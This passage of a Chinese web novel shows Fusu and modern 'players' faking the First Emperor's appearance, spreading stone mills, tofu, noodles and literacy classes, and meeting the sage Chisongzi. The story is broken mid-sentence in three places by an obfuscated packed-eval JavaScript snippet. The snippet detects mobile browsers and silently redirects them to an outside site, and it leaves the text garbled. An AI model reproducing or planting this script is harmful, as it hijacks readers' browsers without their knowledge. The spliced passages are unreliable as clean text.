“你当谨记,上郡一切如常,扶苏蒙恬已死,王离乖觉谨慎,不敢擅动,赵成阎乐督军,以防上郡生乱。”墨衣钧玄的影子丢下两份绢书,命令道,“一份给李斯,另一份给将闾,倘若他们收不到这两封手书,下一次死的就是你。你可明白?” “明白明白!臣明白!臣一定谨遵陛下诏令,绝不敢有丝毫违背。” “那朕便信你一次。” 话音落下,玄色的身影渐渐飘远,从头到尾根本没有落地,司马欣也根本不敢去看到底是怎么飘的。 他的目光都快钻进土里和蚯蚓肩并肩了,耳边的乐声四面八方地响着。 “看铁蹄铮铮,踏遍万里河山。我站在风口浪尖,紧握住日月旋转。愿烟火人间,安得太平美满。我真的还想再活五百年!”[1] 最后一句还唱了两遍,两遍。 看得出真的很想再活五百年了。 司马欣呆呆地跪了很久,周围也没一个人敢起来。 大概赵成阎乐的尸体都凉透了的时候,沉沉的烟雾终于散去,带着硝烟味的冷露云雾退去,月亮这才显现出来。 乐声已经消失很久了,那种黄泉之主降临人间的咄咄逼人的威慑之感,也才淡去了。 司马欣却还没有起身,他腿软得爬不起来。 四下里依然一片死寂,只有劫后余生的呼吸,彼此惺惺相惜。 司马欣的手抽搐似的抖了抖,拿起了包裹得很严实还系着暗金绸带的绢书盒子。 两个玄金的盒子外,绸带上写明了盒子是给谁的,开口处还封了蜡,盖了印章。 “受命于天,既寿永昌。”的小篆清晰明了,优美自如。 那是丞相李斯的字。 那是始皇陛下的皇帝印玺。 世人皆知,始皇陛下统一六国之后,令李斯用蓝田玉刻了新的传国玉玺,陛下的诏令上经常会盖这个玉玺。[2] 司马欣清空了自己的大脑,什么也不去想,好像前几天出门时就没带脑子出门一样。 许久,才有使者团的人茫茫然地阿巴阿巴。 “长史,那两具尸体,怎么处理?” 还能怎么处理?人都已经死了,当然是挖坑埋了。 司马欣正要这么回答,驿站的工作人员已经果断而迅速地把尸体用草席一裹,像蚂蚁搬运米粒似的,飞快地把尸体运走。 司马欣张口结舌,眼睁睁地看着。 他收起两封生死攸关的绢书,没过多久,就听见轰隆隆的声响,地面再次剧烈震了震。 片刻后,抛尸团队回来了,边走边碎碎念:“火药的引线不能弄长点吗?把我都炸死了。” “谁叫你站那么近的?” “我不是想看看会炸成啥样吗?” “好奇心害死猫。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644941|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“算了,反正也不疼,死就死吧,原地复活就是了。” 他们在说什么? 什么叫“死就死吧”“原地复活”? 这说的还是人话吗? 司马欣人都傻了,看着他们叽叽喳喳地走过,对话还在继续。 “凉拌商陆好不好吃?看起来脆脆的。” “你是嫌命多吗?吃了就得嘎。” “我就吃一两口不就行了?” “真是服了你了,公子令令令申申申申申不能吃有毒的东西,怎么就不长记性呢?” “公子”? 司马欣捕捉到了关键词,随即想到了上郡的扶苏公子。 陛下现在是个什么状态,他不敢想,但扶苏公子,是不是有可能还活着?那就是说,陛下遗诏所定的皇位继承人,本来是扶苏公子。 对啊,扶苏公子才是长公子,素有贤名,虽不在咸阳,但有蒙恬王离在侧,蒙家和王家两大军功世家保驾护航,这不是很明显的历练吗? 原来如此! 司马欣努力定了定神,郑重地收起绢书,自以为明白了点什么。 同一片朦胧月光下,扶苏那边的境况就截然不同了。 玩家们欢呼雀跃,就差开个庆功宴了。 【恭喜宿主,成功击杀赵高党羽,获得积分200。】 扶苏微微含笑,接收了这个奖励积分,先存下来。 “公子!我的仿妆画得怎么样?” “甚好。” “生姜老师不愧是生姜老师,我愿称之为cos界仿妆的神。”花生米举起两个大拇指,夸赞个不停。 “原来始皇陛下长这样啊。”阿里看了又看,捧着脸嘿嘿笑道,“真好看!” 鲁八收拾着没用完的粗糙版干冰和火药,闻言奇怪地抬头,不解道:“陛下和公子不是长得很像吗?也没听你夸公子好看啊。” 大秦当然没有干冰和火药,但这种没有科技含量的东西,玩家们凑一起嘀嘀咕咕,几天就搞出来了。 一硝二磺三木炭,配比人人都知道,扶苏一声令下,原材料当天就凑齐了,毫无难度。 干冰要稍微麻烦点,先取青石入窑烈火煅烧,借陶管引出烟气,过清水滤去杂尘,得到纯净二氧化碳气体,再以厚实兽皮气囊反复挤压,将气体尽数压入严丝合缝的铜瓮中封死。 接着,将铜瓮置于装满浓盐水的木盆内,再投入大量硝石与碎冰。 硝石融水会剧烈吸热,铜瓮内的温度骤降,要用的时候,拔开铜瓮顶端的活塞,里面的气体激射而出,触及空气的瞬间便肆意翻滚,顷刻间腾起漫天清冷白雾,寒气逼人,与干冰的效果别无二致。 玩家们很兴奋地互相配合着,就像他们兴奋地给扶苏造了增高鞋和踩在脚下的小滑板。 不然扶苏怎么能脚不沾地地滑过来又滑过去? 学好数理化,真的走遍天下都不怕,玩家们身体力行地认证了这一点。 扶苏直播的时候,弹幕稀里哗啦都快笑疯了。还好衣袍够长够宽大,能遮住脚下踩的东西,也还好对话的人根本不敢仔细看。 化好妆换好衣服之后,扶苏还特地给蒙恬看了一下。 当时把沉稳的蒙恬都吓了一跳。 不得不说,玩家们干起这种事,真的是花样百出。“生姜”居然能从各种矿石和植物里搞出十几种染料,又用兔毛羊毛牛毛狼毫造出大大小小粗粗细细的刷子来,在扶苏脸上一顿造,拿他当调色盘用,来来回回折腾了好几天,最后才定稿。 整个计划里,最有难度的其实是扶苏的声音和传国玉玺。 虽然bgm给了扶苏气势加成,但司马欣听到的“始皇陛下”的声音,当然不是扶苏自己的声音。 扶苏自己声音还哑着呢,音色也完全不同。 那他是怎么做到的呢? 扶苏拉开一点衣襟,怀里钻出一个圆乎乎的猫猫头来。 始皇陛下的声音由猫猫头友情提供。 扶苏这两天产生了一个大胆的想法和怀疑。 这只猫,有没有可能,就是他父皇? 7. 街溜子赤松子 这个想法虽然很荒谬,但并不是无迹可寻。 扶苏一开始和小伙伴们透露的时候,得到了一片讥笑和安慰。 “你的恋父情节越来越严重了,实在不行看看心理医生呢?”这是李承乾。 “会不会是系统给你的错觉?”刘据猜测,“你看,毕竟是系统,增加你的好感,造成你的错觉,都很容易。” “我觉得不是。”扶苏相信自己的直觉。 胤礽想了想,问:“口说无凭,我怎么看这也是只猫,你是从哪觉得像的?” 是从哪觉得像的呢?扶苏也说不出来,也许是从任何地方。 过去的这段时间,玄猫总是不远不近地陪伴在扶苏身边,白天的时候,扶苏去哪里,玄猫就跟到哪里。 扶苏去看工室的进展,鲁八和“艺术就是爆炸”正在称重调试火药的配比,玄猫会严肃提醒他:“莫要靠得太近。” 他调了更多牛马驴给玩家们种田拉磨,一处一处去巡视,玄猫默默跟着,跳到扶苏肩膀上,看驴在被套圈时声声大叫。 “好吵。”玄猫低声抱怨了句。 扶苏贴心地捂住了猫猫的耳朵,往后退了两步。 猫耳朵像妙脆角似的,在扶苏手掌里抖动了两下,但并没有躲开。 驴只有在被套圈时才会惨叫,叫得撕心裂肺,真的被套上之后,反而不叫了,认命一般开始转圈拉磨。 顶着“豆腐西施”名字的姑娘往石磨中间舀放泡过水的豆子,一大勺一大勺的,很快那些湿润的豆子就成为湿淋淋黏糊糊的东西,被石磨挤压,落进凹槽里。 一两个时辰后,这些磨出来的浆水,就会被做成各种豆制品,成为豆浆、豆花、豆腐、豆皮等等衍生物。 扶苏一样一样地品尝,把石磨推广向整个上郡,直接把做法公告出去。 玩家们完全不在意这个,还会在乡里间树下挂上大大的木板,积极地写上石磨和豆腐的制作方法。 到处写到处挂,从早到晚,不厌其烦地给黔首们讲述豆腐的美味和好处,做起来多么容易,还会装在碗里,请观望犹疑的黔首免费试吃。 他们的真诚和热情,一次又一次地吸引了扶苏和猫猫去围观。 “公子快来!给大伙做个表率,我做的小葱拌豆腐,光吃这个我就能干一碗饭!” 玩家们殷勤地招呼扶苏过去,黔首们纷纷让出路来,向扶苏行礼。 “不必客气。”扶苏上前去,给玩家们当托,用勺子舀了一勺拌好的豆腐,正要送入口中,猫猫小声嫌弃了句“这勺子有人用过,不干净。” 还是只爱干净的猫。 多少双期待的眼睛看着呢,扶苏没管,小声回“已经洗过了”,就认真地尝了一口小葱拌豆腐。 白花花的豆腐还冒着点热乎气,自带新鲜豆制品的豆香味,口感非常软糯,本身没什么其他味道,所以加了什么调味料就是什么味道。 碧绿的小葱拌着豆腐和酱油,白白绿绿的,旁边的碗里还有花椒水,给了重口味的人更多选择。 扶苏没那么重口,简简单单的葱拌豆腐他就觉得味道挺好了,清清爽爽,很入味,吃起来口感不错。 人间的风味,到底和地府不一样。 “味道很好。”扶苏不吝夸赞,向周围的黔首们笑道,“有没有谁想来尝尝?” 他对一个光屁股流口水的孩子招手,那小孩眼睛一亮,不顾父母的阻拦,刷地就蹿了出去。 “公子,孩子不懂事……” “无妨,不必这么拘束。”扶苏笑笑,也有希望玩家们潜移默化改改大秦风气的潜意识在。 他给孩子递了碗刚做好的小葱拌豆腐,嘴馋的小朋友跟八百年没吃饭似的,埋头在碗里,连五官都看不清了,风卷残云,狼吞虎咽。 “慢点,别噎着。”扶苏俯下身,轻轻拍拍孩子的背,“好吃吗?” “好吃好吃!”忙着干饭的小孩含糊地应着,三下五除二把一碗豆腐吃完,伸出舌头把碗底都舔了个干净,憨憨笑了。 玄猫用爪爪捂脸,露出不忍直视的表情。 豆腐西施趁机盛了几碗豆浆,放了些饴糖。 这年头糖盐油都是珍贵之物,即便扶苏完全放手让玩家们去做,这制糖和制盐法的改进也还在进行当中,更别提油了。 大秦基本只有动物油,苏子油和麻油不算很好吃,出油率也低,一般只用来点灯做油布,所以张骞们说要去西域,扶苏马上就同意了,交代他们多带点种子回来。 等有花生就好了,花生出油率高,而且很香。 但现在没有花生,那就只能改进榨油的工艺,拿紫苏和菜籽油顶上了。 扶苏盘算着这些吃吃喝喝的琐碎,招手让更多饥肠辘辘的小童过来喝豆浆吃豆花。 便有贴心的孩子舍不得吃,捧着碗送给父母同尝,给了拘束的他们一个台阶,品尝新鲜事物。 “石磨以后每里都会有,不仅可以磨豆腐,也可以磨面。” 大秦没有“村”这个概念,“里”就差不多等于村了,30户左右设一“里”,由里典和父老管理。 由于上郡的特殊性,扶苏现在的命令,只要蒙恬不反对,就能传达到乡里。 更多的黔首,在劳作归来时,被吸引到了磨面的地方去。 第一座水磨刚造出来,用水车带动,不需要人力,磨面的效率立刻提高了好几倍。 黔首们目不转睛地盯着水磨看,无不赞叹。 “新东方厨师”正在用磨好的面表演才艺,那面条扯得比跳绳还长,盘在手里虎虎生威,甩得快上天入地了。 “来来来,走一走,看一看啦,买不了吃亏买不了上当,遇到新东方厨师你就嫁了吧!” 周围的玩家们乱七八糟地起哄,嘻嘻哈哈地拉着老秦人吃面。 老秦人,没有不爱吃面的,以前石磨没有普及,舂麦太费手,活生生的酷刑,现在一看这么容易就能搞出面来,顿时把眼珠子都盯石磨和釜里了,脖子伸得老长,恨不得待在釜边上,扒拉着锅,现捞现吃。 醇厚奶白的羊汤是整碗面的灵魂,文火慢熬几个时辰的羊骨头汤,骨头和肉都分离了。 油脂温润地浮于汤面,油花朵朵,一口汤下去,鲜香绵长,暖意顺着喉间淌遍周身,纯粹肉香萦绕在舌尖,在这凉风四起的季节送来美味与温暖的慰藉。 面条非常劲道,被捶打甩揉了好多遍,弹性十足。大火煮开后,吸饱了浓郁汤汁,根根都爽滑筋韧,宽长香浓。 面香与汤鲜相融交织,一口汤一口面,鲜香暖胃,越吃越有味。 “啧啧真香呐!”“额从来没吃过这么攒劲的面!”“香滴很!” 吃着吃着,就有人忍不住端着碗蹲下来吸溜了,站着不方便,坐着不习惯,好像只有蹲着吃才够得劲似的。 要不是扶苏正好走过来了,恐怕没有一个能规规矩矩站着坐着的。 “公子。”有两个熟人混在人群里,一看见扶苏,连忙起身行礼,带动得周遭个个跟着行礼。 这两人是上郡的裨将苏角和涉间,本是来维持秩序的,结果被刚出锅的羊肉汤面香迷糊了。 “我是不是打扰你们了?”扶苏笑道。 “不敢。”苏角老老实实地袖手,“公子辛苦,这么晚了还四处巡查。” “可有什么乱子?” “乱子倒没有,只是这面都不收钱,会不会不大好?”苏角低声,“来吃面的黔首有点太多了。” “难得有机会吃顿好的,让他们去吃吧。”扶苏摇摇头。 涉间悄悄指指一个白发苍苍的老头,声音更低了:“这老汉一天来三回,这一顿就吃了五碗面了,这碗可不小。属下是怕他吃破肚皮,到时候公子明明是仁心,反倒……” 他没有把话说完。 扶苏看了看那呼噜呼噜吞面的老者,带着猫走过去,在桌边的长凳下坐下来。 一手支颐,就这么安静看着老汉吃面。 给人老头都看得不好意思了,终于舍得从面里抬头,一口蒜一口面,一抹嘴,老眼但不昏花地喃喃:“公子?” 扶苏最近到处走动,认出他也不奇怪。 “汤面可味美?” “说吧公子,你要杀谁?”老头下定决心一般开口。 扶苏一愣,哭笑不得:“我不杀谁,我只是想提醒一下老翁,吃太多会积食,留点肚子,明天好接着吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644942|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天还有不要钱的汤面?” “明天应该还有。”扶苏解释道,“我想普及石磨,教会大家使用,那就得多做几日宣传,所以这几日各个乡里都会有免费的豆腐和面可以吃。” “哦,公子有信陵君和孟尝君的风范了。”老汉咧嘴一笑,“平日养士,是为了有需要时用士。” “也可以这么说。”扶苏并不否认,他是在邀揽人心。 在这个九成黔首都不识字,也吃不饱穿不暖还活得苦巴巴的时代,倘若他能让上郡的黔首都吃得上饭,偶尔还能吃得饱,那黔首们自然而然就会拥护他,为他誓死效忠。 这个道理,亘古以来都不会变。 老汉还在嚼嚼嚼:“这面真筋道,不错不错,要是能再来点醯酱就好了。” 扶苏顺手把醋和酱油都给他递过去,老汉接过来,眼皮一掀,认认真真地看了扶苏几眼,尤其扶苏脖子上包扎的白布。 虽有领口遮掩,到底还是一层一层又一层的,落了痕迹。 “公子这伤,可凶险得很。”老汉感叹了句,给面里加醋,搅拌搅拌。 “都是过去的事了。”扶苏淡定回答。 猫猫微微侧首,也看向扶苏的脖子。 ——这也是一个疑点。系统助手,何必这般关心扶苏的伤势? 对系统这种神奇存在来说,这么点伤算什么呢?一只陌生的猫,在乎扶苏干什么? 老汉又干完一碗热气腾腾的面,扶苏才吃两口,用干净的碗碟和筷子,给挑剔的猫喂了一口夹断的羊肉汤面。 面片太长了,不夹断猫猫吃着不方便。 老者吃得太撑,坐着都不舒服了,站起来的时候不由往前顶了顶腰,却又四处看来看去,摸摸长凳子,又听了听不远处传来的撕心裂肺的猪叫声。 “啥动静?要杀猪?” “也可能是犍猪。”扶苏解释道,“他们说腌过的猪才不腥,所以最近热衷于把小公猪犍了。” “他们?”老汉看向拿着面做杂耍的“新东方厨师”,还有他旁边的“刀削面主理人”。 不得不说,这帮子玩家的气质和作风,真的太特别太好认了,但凡有点脑子的,都会觉得他们奇奇怪怪。 扶苏试图喂猫第二勺汤,喂猫失败,便微微笑道:“墨家和农家的,高人行事,难免别致一些。” 老者用一种“你糊弄傻子呢”的目光,斜了扶苏一眼,忍了又忍,还是没忍住,嘀咕道:“你当我没见过墨家,还是没见过农家?” “哦?”扶苏一脸无辜。 事实上,从这老人随随便便提起“信陵君”和“孟尝君”,拿扶苏来作比的时候,就很明显地表现出他不是一般的黔首了,所以扶苏其实不是很惊讶。 自从焚书那项诏令颁布之后,诸子百家,除了少部分为大秦所用之外,大部分都隐匿了,成为了狡兔三窟里的“兔”。 “别装傻了。”老者挥挥手,依然在四处看,比起扶苏,他好像对到处乱跑的玩家们更感兴趣,间或低头看一眼猫。 猫没理他,抬起爪爪按住了扶苏的手,拒绝了连番的投喂,端坐在桌子一角。 “老夫赤松子,特地为公子而来。” “赤松子?” 群里小小地骚动了下,废太子们别的不说,知识储备还是有一套的。 “是留侯的老师黄石公啊。”刘据脱口而出,“此公有几分神秘,来去无踪,还擅长兵法。” 刘据的声音在扶苏心里过了一遍。 “敢问先生,为我而来是何意?”扶苏面都不吃了,与猫猫一同肃然地望向赤松子。 “就是想看看,你本来已经死了,怎么会又活了?”赤松子纳闷地盯着扶苏的脸,“太怪了。你很怪,你的猫更怪,还有这些人,没有一个不怪的。” “先生慎言。”扶苏连忙低声。 “我有什么好慎言的?你的死期本来是哪天,我都能算出来。还有这只狸狌……”赤松子艺高人胆大,一开口就很劲爆。 “狸狌怎么了?”扶苏更关心这个。 玄猫冷冰冰地向赤松子发射死亡射线,仿佛在无声威胁:你再多嘴一句,就跟五匹小马亲热去吧。 8. 传国玉玺在扶苏手里 赤松子满肚子话,不得不咽了下去,左顾右盼地打哈哈:“没什么,老夫就是会一点点卜筮,一点点而已。” 扶苏颇为失望,但还是很有礼貌地笑道:“先生既然来了,不妨在我上郡多住几日,上郡日新月异,什么样的好东西都会有的。” “看出来了,是挺新的。”赤松子等扶苏吃完,才道,“老夫看见东边有什么‘扫盲’的,几位年轻的老师在教小童认字算数,这是公子你的意思吗?” “不全是。”扶苏并不揽功,“他们闲不住,总想做点什么,才会觉得心安。” “老夫可以跟公子去看看吗?” “当然。”扶苏知道,这是一个好机会。 也许是系统对玩家的筛选比较仔细,虽然大多数玩家是带着游戏的心态来的,但当他们真的面对大秦这帮穷得叮当响、要啥啥没有、只有吃不完的苦的老百姓的时候,现代人过剩的同情心和良好道德作祟,导致他们无法熟视无睹。 即便是风景党和钓鱼佬,也会帮腿脚不便的老人拎东西,把钓来的渔获送给穷人。 更别提,现实里本来就道德偏高又有职业加成的一些人了。 短短十来天,玩家们就自发组成了扫盲队、免费医疗队和扶贫小组,由扶苏背书,干得热热闹闹,哪都能看见他们的人影。 扶苏带赤松子过去的时候,已经是黄昏了,庄稼人陆陆续续都回来了,也围着扫盲班探头探脑。 蒙恬甚至也在,远远地就发现了扶苏,向他走过来。 赤松子顺便盯了一会蒙恬的脸,发出了意味不明的感叹声。 “公子。” “如何?”扶苏笑问。 “教的是隶书,今日约教了十个字,并几个算术。” “你听了很久?”扶苏便笑了。 “原怕他们聚众生乱。”蒙恬沉稳道。 赤松子吐槽了句:“呦,终于不跟小篆死磕了?弯弯绕绕的,谁乐意写那东西?” 玄猫压着金色的眼睛,扁扁得像横过来的半圆月亮,不大高兴的样子,瞥了赤松子一眼。 大秦统一六国之后,也就统一了文字,简化大篆为小篆,作为官方字体。但是民间流行的是更简单的隶书,连底层文吏用的也是隶书。 越复杂的文字,传播起来就越难,所以玩家们完全不考虑小篆,上手教的就是隶书。 甚至由于大家的字迹不同,连楷书都提前都冒出来了。还好隶书和楷书字的写法区别不大,勉强还能糊弄过去。 扶苏走近人群,只见中间摆着几张桌子和一堆小板凳,黑板没有,但有木板,长方形的木板挂在架子上,大大地写着几个毛笔字,就是临时的课堂了。 扫盲队的名字也很有意思,“木子李”“弓长张”“言午许”“耳东陈”……光看名字就是一个团队了。 “木子李”正在对满地文盲循循善诱:“我们刚刚学了从一到九,哪位小朋友可以从一一直数到九?举起小手给老师看看,答对了有枣子吃哦。” 旁边一个啃梨子的玩家乐道:“姐们你已经被学校腌入味了,不是教一年级就是幼儿园的。” “一年级可不让课堂吃东西,多半是幼儿园的。”看热闹的玩家还不止一个,热情举手,夹子音道,“老师,我,我能从一数到九。” “滚!捣什么乱?”“木子李”横眉冷对,转而对小萝卜头们继续和颜悦色,“答错了也没关系哦,勇敢举手就是好宝宝。” “哈哈哈……”玩家们乐翻了天,但文盲萝卜们却并不乐,看着老师手里的枣子咽了咽口水,犹犹豫豫举起了手,在“木子李”的鼓励下,磕磕绊绊开始数。 “一、二……五、五……”这脸蛋自带腮红的小女孩“五”不出来了,后面的围观群众里仿佛有她的家人,急忙在底下提醒,“六!” “五、六……”小孩好不容易数到九,别说她自己,她的同学和家人都纷纷松了口气。 “真棒!好宝宝!”“木子李”笑容满面,提高声音夸赞,给了这孩子一把又大又饱满的青枣。 正是枣子成熟的季节,水灵灵的青绿色,绿得扎人眼,一口下去又甜又脆,吃多少都不腻。 木子李不厌其烦地给越来越多的小孩开蒙,让同伴端来更多的小板凳,拿来更多吃的作为奖品。 最后凳子不够用了,小萝卜头们挨挨挤挤地坐在一起,互相拼凳子拼桌,乃至拼席,与蹭课的大人们一起,齐声朗诵。 “一、二……” “一加一等于二,一加二等于……” 夕阳的光洒在一张张渴望的脸上,仿佛饥渴的鱼得到了上天的投喂,张着大嘴露出水面。 男女老少,扛着锄头、牵着牛的,缝着衣服、剥着豆子的,都在繁忙的劳作之外,努力抽出时间,把孩子,把自己,都放置到这免费的扫盲班里。 这是千载难逢的机会,他们朦胧地意识到。 在此之前,哪怕是孔子,大概都没有这样对着一群大字不识的黔首,一个字一个字,从最最简单的东西开始教起,教到嗓子快冒烟了,也不嫌他们笨。 “木子李”累了,换“言午许”。 许老师给孩子们及家长送热水,课间休息二十分钟,挂上新的木板。 这木板上没有字,只有两幅简笔画。 喝生水的肚子痛,倒在地上打滚,从耳朵里钻出虫子来,嘎嘣一下死那了,嘴里还在吐魂;把水煮开放温再喝的,活蹦乱跳笑嘻嘻的,一看就很健康。 黔首们一片哗然,互相交头接耳。 “言午许”趁机科普了一下喝热水的重要性。 赤松子揣着手,不置可否:“这女子说的容易,柴火可是要去打、要钱买的,一般黔首哪里舍得天天烧热水喝?” 蒙恬点了点头,他也这么认为。 话虽如此,但扶苏没有制止“言午许”科普卫生常识,客观条件能不能达到是一回事,但正确而健康的理论散播出去,总不是坏事。 至少,能多一个喝热水的,就少一个喝生水的,此消彼长。 并且,科普完喝热水后,许老师继续科普堆肥和草木灰的方法及作用,而且“女子好”老师还把十来岁的女孩子全都带走,到室内科普关于月经和妇科等生理卫生的常识去了。 这个扶苏就不方便听了,是“木子李”过来跟他汇报,他才知道的。 “天都快黑了,还不结束么?”扶苏看了看天边的晚霞。 “这会儿人最多呢。”木子李笑眯眯,提着篮子给大家发枣,“挂上灯,还能再上一节课。白天大家都忙,没有空闲过来听课。” “好生辛苦,我给你们加秩禄吧。”扶苏真心佩服他们这样的精神。 但凡给上郡帮忙的玩家,扶苏都开很高的工资,给他们更多的动力来投入游戏。 “好呀!”木子李大大方方地接受了,欢欢喜喜道,“等我们学校开起来了,让公子你做第一任校长。” 她殷勤地给扶苏送了枣子,并强调都是洗干净的。 扶苏接过来,向她道谢,顺手给肩膀上的猫咪喂了一颗。 玩家们窃窃私语:“猫能吃枣子吗?”“游戏还用在乎这个?” “你们要开学校?”扶苏见猫咬了一口青枣,并不讨厌的样子,便随口问起来。 “当然啦,到时候学校就叫‘清华小学’,清华中学,清华大学!” 赤松子插了句嘴:“直接叫清华学宫不就好了?跟当年稷下学宫一样。” “也行!”木子李兴致勃勃,“可以吗,公子?” “可以,这有什么不可以?”扶苏一口答应。 蒙恬等他们交流完毕,才若有若无地提醒了半句:“秦法……” 显然,办私学不符合秦法。秦国以吏为师,严禁私学,除医卜法和农业用书外,诸子百家的著作,大多都得强迫销毁。 如若不毁,则施以黥刑,罚去做几年苦役,当众谈论《诗》《书》的,都得处死。[1] 这是当年李斯建议,嬴政同意的。 扶苏轻描淡写:“我本来就反对焚书,现在正好废除这一条。以后在上郡的土地上,诸子百家皆可坐而论道。我的招贤令早就准备好了,就等着儒墨道法的贤士们来为我上郡添砖加瓦了。” 赤松子摸摸胡子,看看扶苏,又看看面无表情的猫,稀奇道:“你认真的?” “当然。”扶苏很笃定。 “那行,我再看看,要真是这样,我就传信给外面游荡的墨家了。”赤松子乐开了花,“你可别输给胡亥,不然大秦要完。” 墨家当初分为三份之后,大秦的少府里只剩一份,另外两份在外流浪,时不时干点法外狂徒倒卖/军/火的事。 大秦黑手/党,不外如是。 “先生不是擅长卜筮?” “通天大道也是人走出来的,不走哪有路?你说是不是?” “先生所言甚是。”扶苏好脾气地表示赞同。 赤松子乐呵呵地腆着肚子走了,心情很好。 蒙恬静水深流,对政治上的事基本不发表看法,只是想着,既然上了扶苏的船,就配合他行事吧。 但猫猫好像有点意见。 扶苏在准备cos嬴政的那两天,有注意到这一点,晚间也问过神秘猫猫。 “我欲改革秦法,你不赞成吗?”扶苏问得很认真。 猫猫冷着脸,不说话。 扶苏本来给猫准备了舒适柔软的藤编猫窝,垫了好几层垫子,但猫并不喜欢,从不看一眼,他到了晚上就自行窝在榻上,端庄又安静地垂着眼睛,不知道在想些什么。 不知怎的,扶苏就想起了传播谣言的卢生和泰山封禅时那些蛐蛐的儒生。 和很多人的刻板印象不同,嬴政并不是一开始就讨厌儒家的。 看扶苏的名字就知道了,“山有扶苏”是出自《诗三百》的《郑风》。 在焚书那道诏令之前,大秦的朝堂是有不少儒生当官的,淳于越、周青臣、伏生、叔孙通、羊子、茅焦……大秦的博士里,有很多儒生。 嬴政不是没有意识到,统一天下之后要吸取更多法家以外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644943|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人才,只是他和儒家后来闹掰了。 最核心的矛盾,是九年前,由淳于越在咸阳宫宴上提出的“恢复分封制”,由此直接触发了李斯和同样支持分封的王绾之争,愈演愈烈,变成了儒法之争。 儒家早就分裂成了八门,并不是所有儒生都支持分封。博士仆射周青臣也是儒生,他却是支持郡县的,还在那场辩论里和淳于越硬刚。 只是支持分封的人跳得太高,就显得好像所有儒家都反对郡县制一样。 这是其一。 其二就是泰山封禅,嬴政也给过儒家机会,让齐鲁的儒生参与进来,结果就是和“法古周礼”派谈不拢。嬴政嫌儒生多事开口闭口都是周礼,儒生讥笑他途中遇到风雨,冲突愈演愈烈,最终不可调和。 扶苏当然支持郡县制。 这不废话吗?大秦都实施郡县制上百年了,六国之中,除了散装楚国,其他没有一个国家是纯粹的分封,都是半分封半郡县,由分封向郡县制过渡中。 秦国旁边的韩国,一百多年前就设立了上党郡,另一边的赵国,在赵武灵王时期,就设立了北方四郡,云中郡、雁门郡、代郡、九原郡,专门用来抵御匈奴,和现在的上郡一样,是北方的防线。 在秦国长大的扶苏,怎么可能反对秦国实施了百年的郡县制? 就算是王绾,他的原话也是,“诸侯初破,燕、齐、荆地远,不为置王,毋以填之。请立诸子,唯上幸许。”[2] 意思是怕统一后边远地区镇不住,最好效仿周王室,封王过去镇守。 这事过于敏感,涉及到以扶苏为首的诸公子们的直接利益,所以扶苏没有表态。 嬴政是何等大权独揽的皇帝?怎么可能会把公子们封到原本燕齐之地做王?那他这天下不是白打了吗? 扶苏强烈反对的是焚书,且因为焚书引起的重刑杀儒生。 他试图缓和嬴政和儒家的矛盾,而不是剑拔弩张,走向你死我活的地步。 可惜撞到了嬴政的枪口上,不仅没有缓和矛盾,自己还成了矛盾本身,直接被发配到上郡督军去了。 当然,也许在嬴政看来,这并不是“发配”,只是扶苏没有办法知道嬴政是怎么想的。 他们父子之间,欠缺沟通很多年了。 父不知子,子不知父。 猫猫扭过头,还是不说话。 虽然是猫的外表,但扶苏不止一次,莫名其妙地看着猫,想起他父亲。 好像,真的好像。 “你讨厌诸子百家的哪一家?”扶苏起了试探的心思,“墨家?道家?儒家?” 说到儒家的时候,某猫好像哼了一声,是他的错觉吗? 扶苏慢悠悠走过去,蹲在猫猫身前,故意唉声叹气:“你说司马欣会相信我伪装的父皇吗?” 猫猫不悦道:“他为何不信?” “我与我父皇,到底差别很大……” “你有bgm加成。”猫猫淡淡回应。 好诡异的感觉,“bgm”这个词从猫嘴里说出来。 “我打算给李斯和将闾写信,但玩家们没见过父皇的笔迹,我和蒙恬模仿的又不像……” “你还有一百积分。”猫猫提醒。 “这一百积分够吗?” “你还缺什么?” 扶苏半开玩笑道:“那可太多了,要是我能有传国玉玺和太阿剑……” 猫猫把头撇过去,无声甚有声。 扶苏便幽幽叹了口气:“算了,我知道我没有这么好的运气。虽然丞相也擅长模仿别人的笔迹,说不定会怀疑这信造假,但也没办法了,谁让我没有任何父皇的信物呢?” “兑换。”猫猫用爪爪拍下扶苏的手,冷漠提醒。 “哦。”扶苏偷偷摸摸观察猫的表情,自言自语,“不知道会兑换出什么呢?” 【宿主还有一百积分,是否兑换cos始皇大礼包?】 “兑。”扶苏肯定道。 系统音落下,玄猫的眼底飞快划过一串串数据流,浩瀚如烟海,转瞬即逝。 【恭喜宿主获得cos始皇大礼包,礼包一共包含传国玉玺、太阿剑、和氏璧、墨衣钧玄,请接收。】 